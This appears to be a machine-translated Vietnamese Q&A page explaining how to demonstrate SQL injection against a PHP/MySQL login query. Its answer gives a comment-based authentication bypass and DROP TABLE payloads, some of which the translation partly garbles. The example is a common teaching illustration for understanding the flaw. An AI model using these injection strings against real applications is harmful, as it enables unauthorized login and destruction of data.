Mysql
 sql >> Cơ Sở Dữ Liệu >  >> RDS >> Mysql

Làm thế nào để chứng minh SQL Injection trong mã PHP và MySQL này?

Điều gì đó như thế này nên làm:

  1. Để đăng nhập với tư cách người dùng "foo", hãy đặt tên người dùng thành "foo '-"

Điều này sẽ làm cho truy vấn của bạn giống như

$res = mysql_query("SELECT * from users where user='foo' -- ' AND pass=''");

Dấu "-" có nghĩa là phần còn lại của dòng được nhận xét

  1. Không chắc liệu điều này có hiệu quả hay không nhưng hãy thử đặt tên người dùng thành "foo" HOẶC (DROP TABLE người dùng) - "

Điều này sẽ làm cho truy vấn của bạn giống như sau:

$res = mysql_query("SELECT * from users where user='foo' OR (DROP TABLE users) -- ' AND pass=''");

có thể không chấp nhận điều đó - tôi nghĩ rằng các truy vấn phụ chỉ có thể CHỌN.

Hàm mysql_query sẽ chỉ chạy một truy vấn - các hàm khác sẽ cho phép bạn thực hiện việc này:

$res = mysql_query("SELECT * from users where user='foo'; DROP TABLE users -- ' AND pass=''"); 


  1. Database
  2.   
  3. Mysql
  4.   
  5. Oracle
  6.   
  7. Sqlserver
  8.   
  9. PostgreSQL
  10.   
  11. Access
  12.   
  13. SQLite
  14.   
  15. MariaDB
  1. Vòng qua cơ sở dữ liệu mysql

  2. Mô hình dữ liệu hiệu quả cho các truy vấn phạm vi

  3. MySQL, REGEXP - Tìm các từ chỉ chứa các chữ cái chính xác sau

  4. Chọn hàng cuối cùng KHÔNG dùng bất kỳ loại phím nào

  5. Cách lấy các tệp đã tải lên bằng php